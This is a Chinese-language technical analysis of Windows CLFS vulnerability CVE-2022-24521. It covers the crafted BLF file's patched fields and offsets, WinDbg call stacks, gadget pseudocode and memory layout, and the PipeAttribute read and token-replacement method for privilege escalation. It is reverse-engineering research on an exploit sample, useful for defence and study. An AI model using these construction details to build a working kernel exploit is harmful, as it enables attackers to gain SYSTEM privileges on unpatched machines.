CVE-2022-24521
⛓️

CVE-2022-24521

Tags
Windows NT
Vulnerability
Published
May 18, 2023
Author
Mas0n

BLF构造

先放关键patch部分
地址
原始值
目标值
备注
BLock Header CheckSum (0x80C etc.)
CRC32 CheckSum
0x1E16
FF FF FF FF
ContainerContext QueueId
0x1E20
用户态精准控制
ContainerContext pContainer
样本通过模拟CLFS驱动创建BLF文件,逆向分析下能看到创建的BLF文件有两个Part的操作。
第一部分对应于BLF文件的Control Block大小即0x800
notion image
这个部分与正常创建的BLF文件基本无异
我们的重点内容在于第二部分中Base Block 或者被称为 General MetaData Block 的构造
notion image
关键修改点有以下
被修改为0x1600的SignatureOffset
notion image
ContainerContext的QueueId属性被置为了0xFFFFFFFF
notion image
ContainerContext的pContainer被置为了用户态精准控制的地址
notion image
 

漏洞分析

对于构造的gadget利用部分打下硬件断点,能够找到漏洞触发点,以及gadget函数部分。
1: kd> ba w4 0xFFFFA183DF185000 1: kd> ba w4 FFFFA183DF574000 1: kd> g Breakpoint 1 hit nt!XmXchgOp+0x19: fffff806`3d395eb9 8b516c mov edx,dword ptr [rcx+6Ch] 0: kd> k # Child-SP RetAddr Call Site 00 fffff685`2986ef00 fffff806`3cd46f92 nt!XmXchgOp+0x19 01 fffff685`2986ef30 fffff806`3cd57369 CLFS!CClfsBaseFilePersisted::RemoveContainer+0x152 02 fffff685`2986ef90 fffff806`3cd23156 CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x379 03 fffff685`2986f100 fffff806`3cd4edea CLFS!CClfsLogFcbPhysical::Initialize+0x6da 04 fffff685`2986f240 fffff806`3cd50abb CLFS!CClfsRequest::Create+0x75e 05 fffff685`2986f390 fffff806`3cd50887 CLFS!CClfsRequest::Dispatch+0x97 06 fffff685`2986f3e0 fffff806`3cd507d7 CLFS!ClfsDispatchIoRequest+0x87 07 fffff685`2986f430 fffff806`3d291835 CLFS!CClfsDriver::LogIoDispatch+0x27 08 fffff685`2986f460 fffff806`3d292e34 nt!IofCallDriver+0x55 09 fffff685`2986f4a0 fffff806`3d67a91d nt!IoCallDriverWithTracing+0x34 0a fffff685`2986f4f0 fffff806`3d5f507e nt!IopParseDevice+0x117d 0b fffff685`2986f660 fffff806`3d697fda nt!ObpLookupObjectName+0x3fe 0c fffff685`2986f830 fffff806`3d618e2f nt!ObOpenObjectByNameEx+0x1fa 0d fffff685`2986f960 fffff806`3d618a09 nt!IopCreateFile+0x40f 0e fffff685`2986fa00 fffff806`3d40afb5 nt!NtCreateFile+0x79 0f fffff685`2986fa90 00007ff8`5fdad814 nt!KiSystemServiceCopyEnd+0x25 10 00000077`6e4ff7d8 00007ff6`362d57cc 0x00007ff8`5fdad814 11 00000077`6e4ff7e0 fffff806`3d002000 0x00007ff6`362d57cc 12 00000077`6e4ff7e8 00000195`cf258dd0 nt!VrpRegistryString <PERF> (nt+0x0) 13 00000077`6e4ff7f0 00000195`cf253f90 0x00000195`cf258dd0 14 00000077`6e4ff7f8 00000195`cf253ba8 0x00000195`cf253f90 15 00000077`6e4ff800 00000000`00000000 0x00000195`cf253ba8
 
分析CClfsBaseFilePersisted::LoadContainerQ对应位置能看到触发CClfsBaseFilePersisted::RemoveContainer的前置条件是ContainerContext的cidQueue属性值为0xFFFFFFFF 对应于样本中的patch
notion image
pContainer被指向了用户态构造的地址
notion image
对应调用点于
notion image
 
实际上当我们调用NtCreateFile时首先会调用到CClfsBaseFilePersisted::ReadImage 对应的我们首先会将SignatureOffset对应Array上的内容依次放在各个sector的末尾两位。
0: kd> k # Child-SP RetAddr Call Site 00 fffff685`29e36f38 fffff806`3cd54222 CLFS!ClfsDecodeBlock 01 fffff685`29e36f40 fffff806`3cd5a4f9 CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0x182 02 fffff685`29e36fe0 fffff806`3cd5a29a CLFS!CClfsBaseFile::AcquireMetadataBlock+0x45 03 fffff685`29e37010 fffff806`3cd59c56 CLFS!CClfsBaseFilePersisted::ReadImage+0x25e 04 fffff685`29e37080 fffff806`3cd22da2 CLFS!CClfsBaseFilePersisted::OpenImage+0x2fa 05 fffff685`29e37100 fffff806`3cd4edea CLFS!CClfsLogFcbPhysical::Initialize+0x326 06 fffff685`29e37240 fffff806`3cd50abb CLFS!CClfsRequest::Create+0x75e 07 fffff685`29e37390 fffff806`3cd50887 CLFS!CClfsRequest::Dispatch+0x97 08 fffff685`29e373e0 fffff806`3cd507d7 CLFS!ClfsDispatchIoRequest+0x87
而后会调用到CClfsBaseFilePersisted::LoadContainerQ 由于QueueId被置为了0xFFFFFFFF 因此我们就能继而调用到CClfsBaseFilePersisted::RemoveContainer
notion image
在调用CClfsBaseFilePersisted::RemoveContainer 前,会将pContainer置空。
在执行CClfsBaseFilePersisted::FlushImage前会将rgContainers数组中该容器偏移值置0
notion image
这导致了CClfsBaseFilePersisted::FlushImageCClfsBaseFilePersisted::WriteMetadataBlock
调用CClfsBaseFile::AcquireContainerContext 出现问题
notion image
这会引发pContainer无法被正常备份在this指针中。
notion image
而后当我们调用ClfsEncodeBlock 时,将会从每个Sector的末两个字节恢复到SignatureOffset对应的Array上,在这里对应于0x1E000x1600+0x800),正好与Container Context交叠,实现了pContainer覆盖。
notion image
由于先前此Container对应的rgContainers被置空导致CClfsBaseFile::AcquireContainerContext 调用根本不可能成功,因此跳过了从this指针中恢复pContainer的过程。
notion image
至此,pContainer完成篡改。

提权利用技术

样本适配Windows 7 - Windows 11,利用方式均使用PipeAttribute任意读原语利用方式,读取进程Token的内核地址并结合漏洞触发任意写,完成Token替换。
 
下图是样本构造的gadgets逻辑
notion image
下面分别逆向对应gadgets作用

HalpDmaPowerCriticalTransitionCallback

伪代码操作如下
func1 = poi(rcx+0x50) poi(rcx+0xD8) = 1 func1(poi(rcx+0x40), rdx)

XmXchgOp

伪代码操作如下
// XmXchgOp if (poi(rcx+0x78) == 0) { poi(rcx+0x60) = (BYTE)poi(rcx+0x68) // 1 Byte } else if (poi(rcx+0x78) == 3) { poi(rcx+0x60) = (DWORD)poi(rcx+0x68) // 4 Bytes } else { poi(rcx+0x60) = (WORD)poi(rcx+0x68) // 2 Bytes } // XmStoreResult if (poi(rcx+0x78) == 1) { poi(rcx+0x58) = (DWORD)poi(rcx+0x6C) // 4 Bytes } else if (poi(rcx+0x78) == 0) { poi(rcx+0x58) = (BYTE)poi(rcx+0x6C) // 1 Byte } else { poi(rcx+0x58) = (WORD)poi(rcx+0x6C) // 2 Bytes }
 
简单总结gadget构造内容如下:
- vftable: 0x00: 0x00000000 0x08: pHalpDmaPowerCriticalTransitionCallback 0x10: 0x00000000 0x18: pXmXchgOp - gadgets 0x00: vftable 0x08: 0x00000000 ··· 0x40: 用户态变量地址 0x48: ?????????? 0x50: pXmXchgOp 0x58: WrittenPtr + 4 0x60: WrittenPtr 0x68: WrittenData 0x70: ?????????? 0x78: 0x00000003
gadgets真实排布情况如下
notion image
对应的vftable
notion image
 
下面来分析gadget调用与其实际用途
首先会调用到XmXchgOppoi(rcx+0x68)处的内容写到poi(rcx+0x60) ,也就是WrittenData写道对应的WrittenPtr上
而后会调用到HalpDmaPowerCriticalTransitionCallback 继续调用XmXchgOp rcx被修改为poi(rcx+0x40) 也就是用户态变量地址
 
其中HalpDmaPowerCriticalTransitionCallback 并无实际用途
notion image
 
当样本调用blf::write 即实现了一次任意写,样本多次调用分别对应于以下
写入 PipeAttribute 实现伪造,实现任意读,读取System Token
写入 进程Token对应的内核地址,实现Token替换
恢复 PipeAttribute 导向正常状态
至此样本提权完成。

参考